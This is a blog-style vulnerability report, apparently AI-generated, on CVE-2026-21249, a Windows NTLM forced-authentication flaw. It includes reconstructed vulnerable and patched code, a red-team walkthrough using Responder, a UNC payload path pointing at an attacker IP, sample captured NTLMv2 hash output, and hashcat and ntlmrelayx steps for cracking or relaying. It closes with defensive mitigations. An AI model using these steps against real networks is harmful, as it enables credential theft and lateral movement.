CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-21249
3.3

Ghost in the Shell: Weaponizing NTLM via CVE-2026-21249

Alon Barad
Alon Barad
Software Engineer

Feb 11, 2026·7 min read·6 visits

PoC Available

Executive Summary (TL;DR)

Windows failed to validate file paths in the NTLM provider, allowing attackers to supply UNC paths (e.g., \\attacker\share). This forces the victim machine to send NTLMv2 hashes to the attacker. Patch now.

NTLM is the protocol that simply refuses to die. Just when you think Microsoft has finally driven a stake through its heart, another logic flaw emerges that allows attackers to coerce authentication and harvest hashes. CVE-2026-21249 is a classic 'forced authentication' vulnerability masked as a mundane path traversal issue. By manipulating file paths passed to the Windows NTLM service, a local attacker can trick the operating system into authenticating to a rogue SMB server. While the CVSS score is laughably low (3.3) due to 'local' and 'user interaction' requirements, in the hands of a skilled red teamer, this is a golden ticket for lateral movement via NTLM relaying.

The Hook: Why NTLM Still Haunts Us

If you've been in security for more than five minutes, you know NTLM (New Technology LAN Manager) is actually 'Not That Latest Methodology'. It's a legacy protocol from the 90s that relies on a challenge-response mechanism. Despite Kerberos being the golden standard, NTLM hangs around for backward compatibility, lurking in the shadows of the Windows API.

CVE-2026-21249 isn't a buffer overflow or a complex heap grooming exercise. It's a logic flaw. Specifically, it's a spoofing vulnerability that exploits how Windows handles file paths. When Windows sees a file path, it helpfully tries to resolve it. If that path looks like a UNC (Universal Naming Convention) path—like \\192.168.1.50\share—the operating system automatically attempts to authenticate to that remote server using the current user's credentials to access the resource.

This behavior is 'working as intended' for legitimate enterprise shares. But when you can force a privileged process or a confused user context to touch a path you control, it becomes a weapon. This vulnerability allows a local attacker to define such a path in the NTLM service context, essentially asking the victim machine: 'Hey, can you go sign into this server for me?' The victim machine obliges, and boom—you have their NTLMv2 hash.

The Flaw: A Tale of Trusting Input

The root cause here is CWE-73: External Control of File Name or Path. The Windows NTLM authentication provider (living inside msv1_0.dll or similar libraries depending on the exact OS version) accepts input parameters to handle logging, configuration, or resource loading. The developers likely assumed that these paths would always be local (e.g., C:\Windows\Temp\log.txt).

However, the code failed to sanitize this input or restrict it to local drive letters. In the Windows API, file operations are agnostic to the network. A call to CreateFile or GetFileAttributes works just as well on a local file as it does on a remote SMB share. The vulnerability arises because the code takes a user-supplied string and blindly passes it to a filesystem API.

When that API hits a UNC path, the kernel's MUP (Multiple UNC Provider) kicks in. It realizes the resource is remote and initiates an SMB session. Part of that session setup involves the client (victim) proving its identity to the server (attacker). This happens automatically, often without any visible prompt to the user, effectively leaking the user's credentials to anyone listening on the other end of that IP address.

The Code: Where Logic Failed

Let's look at a reconstruction of the vulnerable logic versus the patched logic. Without the exact source code, we can infer the pattern based on the patch analysis and standard Windows API behavior.

The Vulnerable Pattern:

// The developer takes a path from a config or user input
void ProcessLogPath(wchar_t* userInputPath) {
    HANDLE hFile;
    // FATAL FLAW: No validation that userInputPath is local.
    // If userInputPath is "\\\\attacker-ip\\share\\test",
    // this call triggers NTLM auth outbound.
    hFile = CreateFileW(
        userInputPath,
        GENERIC_WRITE,
        FILE_SHARE_READ,
        NULL,
        OPEN_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL
    );
    
    if (hFile != INVALID_HANDLE_VALUE) {
        // ... write logs ...
        CloseHandle(hFile);
    }
}

In the code above, the system assumes userInputPath is safe. It acts as a proxy for the attacker's intent.

The Fixed Pattern:

Microsoft's fix likely introduces a check to ensure the path does not refer to a UNC resource, or strictly enforces local drive roots.

// The patched logic
void ProcessLogPath(wchar_t* userInputPath) {
    // 1. Check if the path is absolute and local
    if (!IsLocalPath(userInputPath)) {
        LogError("Invalid path specified. Remote paths not allowed.");
        return;
    }
 
    // 2. Alternatively, disable automatic credential usage for this handle
    // (Though purely blocking UNC is the safer fix for this context)
    
    HANDLE hFile = CreateFileW(userInputPath, ...);
    // ...
}

By ensuring the path starts with a drive letter and contains no UNC indicators (like leading double backslashes), the exploitation vector is closed.

The Exploit: Harvesting Hashes

The CVSS score of 3.3 is misleading. It assumes you are just a random user on a standalone machine. But in a domain environment, this is part of a kill chain. Here is how a red teamer weaponizes CVE-2026-21249.

Step 1: The Trap

The attacker needs an SMB listener. Responder is the tool of choice.

sudo responder -I eth0 -w -d
# -I: Interface
# -w: Start WPAD rogue server (optional but fun)
# -d: Enable DHCP (if you are feeling spicy)

Step 2: The Trigger

The vulnerability requires us to pass a malicious path to the NTLM service. Since the advisory mentions UI:R (User Interaction), let's assume we are crafting a malicious shortcut (.lnk) or a configuration file that the vulnerable component reads.

We create a file payload where the 'LogPath' or 'Resource' parameter is set to our listener: \\10.0.0.66\GiveMeYourHash

Step 3: Execution

When the victim (or a service running as the victim) processes this file:

  1. The vulnerable code calls CreateFile on our UNC path.
  2. Windows sends an SMB Negotiate packet to 10.0.0.66.
  3. Responder accepts and sends a Challenge.
  4. Windows generates the Response (the NTLMv2 hash) and sends it back.
  5. Responder logs the hash.
[SMB] NTLMv2-SSP Client   : 192.168.1.15
[SMB] NTLMv2-SSP Username : CORPDOMAIN\Administrator
[SMB] NTLMv2-SSP Hash     : Administrator::CORPDOMAIN:1122334455667788:...

Step 4: Profit

You now have two choices:

  • Crack it: Toss it into Hashcat (hashcat -m 5600).
  • Relay it: If SMB Signing is disabled on other servers (it often is), use ntlmrelayx.py to forward this authentication to a file server or domain controller and dump the SAM database.

The Impact: Why 'Important' Should Be 'Critical'

Microsoft rated this as 'Important', likely because it requires local access or a user to click something. However, 'Local Access' in 2026 includes getting a foothold via a phishing email or a compromised low-privilege container. Once you are inside, you use this to pivot.

If you can trigger this vulnerability in a process running as SYSTEM or a Domain Admin service account, the game is over. An NTLM relay attack from a high-privilege account allows for immediate takeover of other hosts in the network. Even if you only catch a standard user's hash, you can crack their password and use it to access VPNs, email, or internal portals.

Furthermore, this attack is silent. There is no pop-up saying "I am sending your password to hackers." It happens at the kernel networking layer. The only trace is a failed login attempt in the logs—if you even notice it among the noise.

The Fix: Closing the Window

The immediate fix is installing the February 2026 Patch Tuesday updates. This patches the msv1_0.dll / ntlm.dll logic to reject arbitrary UNC paths in the affected authentication flows.

Defense in Depth

Patches are great, but architectural changes are better. You cannot exploit NTLM spoofing if NTLM is dead.

  1. Restrict Outbound NTLM: This is the silver bullet. Configure the GPO Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers. Set it to Deny all. This prevents your machines from authenticating to random IP addresses on the internet or local network segments.

  2. SMB Signing: Enforce SMB Signing on all workstations and servers. This prevents the 'Relay' part of the attack. If an attacker captures your hash, they can't forward it because they can't sign the packet.

  3. Firewalling: Why are your workstations allowed to talk SMB (port 445) to each other? Block workstation-to-workstation SMB traffic at the host firewall level.

Official Patches

MicrosoftOfficial Security Update Guide for CVE-2026-21249

Technical Appendix

CVSS Score
3.3/ 10
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Affected Systems

Windows 11 Version 26H1Windows 11 Version 24H2Windows 11 Version 23H2Windows 10 Version 22H2Windows Server 2025Windows Server 2022Windows Server 2019Windows Server 2016Windows Server 2012 R2

Affected Versions Detail

Product
Affected Versions
Fixed Version
Windows 11 Version 26H1
Microsoft
< 10.0.28000.157510.0.28000.1575
Windows Server 2025
Microsoft
< 10.0.26100.3237010.0.26100.32370
Windows 10 Version 22H2
Microsoft
< 10.0.19045.693710.0.19045.6937
AttributeDetail
CWE IDCWE-73 (External Control of File Name or Path)
CVSS v3.13.3 (Low)
Attack VectorLocal / User Interaction Required
ImpactCredential Disclosure (NTLMv2 Hash Leaking)
Exploit StatusPoC Likely (Trivial to replicate)
Patch Date2026-02-10

MITRE ATT&CK Mapping

T1557.001Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay
Credential Access
T1187Forced Authentication
Credential Access
T1204.002User Execution: Malicious File
Execution
CWE-73
External Control of File Name or Path

The software allows a user-controlled input to specify a file name or path that is subsequently used in a filesystem operation or a network authentication request without sufficient validation.

Known Exploits & Detection

HypotheticalStandard NTLM capture using Responder and forced authentication via UNC paths.

Vulnerability Timeline

CVE Published & Patch Released
2026-02-10
Vendor Advisories Published
2026-02-11

References & Sources

  • [1]Microsoft Security Response Center Advisory
  • [2]SANS ISC February 2026 Patch Analysis

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.